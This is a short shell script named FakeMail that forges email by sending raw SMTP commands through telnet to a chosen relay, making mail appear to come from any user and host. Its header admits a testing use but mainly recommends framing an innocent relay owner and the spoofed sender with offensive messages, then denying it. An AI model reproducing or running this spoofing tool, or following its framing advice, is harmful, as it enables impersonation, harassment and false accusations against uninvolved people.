#!/usr/local/bin/bash
#!/bin/sh
#
#NAME
#  FakeMail - generate email from a specified user and host.
#
# SYNOPSIS
#  FakeMail touser tohost fromuser fromhost viahost <message
#
#DESCRIPTION
#  This script uses telnet to send mail to touser@tohost,  making  it
#  look like the mail message came from fromuser@fromhost. This is an
#  illustration of how easy it is to forge Internet mail.
#
#  Suggested usage is to make viahost the machine  of  someone  you'd
#  like  to  see  accused  of  generating indecent or offensive mail.
#  Then, even if the email headers contain a  pointer  back  to  your
#  machine,  you  can  say  that  the  owner  of  viahost forged your
#  machine's name.  The message should, of course, be something  that
#  will  get  fromuser@fromhost  and  the owner of viahost in trouble
#  with the recipient touser@tohost.
#
#  I should probably admit that this program has practical users.   I
#  actually wrote it originally as a tool for testing email software.
#  If you are doing such testing, it's handy to be able  to  generate
#  mail  with  specific  headers.  You can use it this way too if you
#  like.  Just don't admit it in public.
#
#BUGS
#  One serious problem is that telnet doesn't like to be run  from  a
#  script  like we do here.  You may need some special options to get
#  it to cooperate.  The sleep that we do here seems to  help,  since
#  telnet  typically  discards  any input before it connects; you may
#  want to increase the sleep for remote hosts.
#
#AUTHOR
# John Chambers <jc@trillian.mit.edu>

#TELNET='telnet -n -'
#TELNET='telnet -K'
TELNET='telnet'

TU=$1; shift
TH=$1; shift
FU=$1; shift
FH=$1; shift
VH=$1; shift
MF=/tmp/MailTest

{	
	echo 'HELO '$FH
	echo 'MAIL From: <'$FU'@'$FH'>'
	echo 'RCPT To: <'$TU'@'$TH'>'
	echo 'DATA'
	echo 'FakeMail-cmd:' $0 $*
	echo 'Connect-cmd:' $TELNET $VH 25
	cat $*
	echo '.'
	echo 'QUIT'
}	>$MF

(sleep 5; cat $MF) | $TELNET $VH 25 

rm $MF

exit 0
